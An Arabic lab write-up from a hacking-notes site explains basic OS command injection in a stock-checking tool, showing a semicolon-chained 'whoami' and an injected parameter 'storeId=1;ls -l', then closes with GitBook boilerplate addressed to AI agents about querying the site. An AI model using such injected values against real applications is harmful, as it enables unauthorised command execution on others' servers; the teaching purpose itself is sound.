> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/command-injection/basic-os-command-injection.md).

# حقن أوامر نظام التشغيل الأساسي

### حقن أوامر نظام التشغيل

تُظهر هذه المختبر ثغرة في حقن أوامر النظام ضمن أداة التحقق من مخزون منتج ما. / ينفّذ التطبيق أمر شِل يتضمن بيانات اعتماد المنتج والمتجر التي يزوّدها المستخدم، ثم يُعيد مباشرةً المخرجات الخام لهذا الأمر في الاستجابة.

هدف المختبر هو تنفيذ **whoami** الأمر لتحديد اسم المستخدم الحالي.

نجد أنه، في نظام لينكس، عندما تُدخل أمرًا مثل:

```bash
pwd
```

من الممكن ربط عدة أوامر باستخدام فاصلة منقوطة:

```bash
pwd;whoami
```

<figure><img src="/files/3128e3c720e1e36f925cf803ac4cb0ffa58c5d08" alt="" width="563"><figcaption></figcaption></figure>

في هذه الحالة، يتم إرسال وسيطين.

<figure><img src="/files/828f7f250b175d8ffe1d47249c515269988a48d7" alt="" width="563"><figcaption></figcaption></figure>

إذا أدخل المرء **;** في أحدهما أو الآخر، يمكن تنفيذ أمر عشوائي لأن الواجهة الخلفية تستخدم دالة من النوع **system**.

مثال:

```bash
productId=1&storeId=1;ls -l
```

<figure><img src="/files/a05777eadb362541ceefa8f2f26f5031da6d13e7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/command-injection/basic-os-command-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
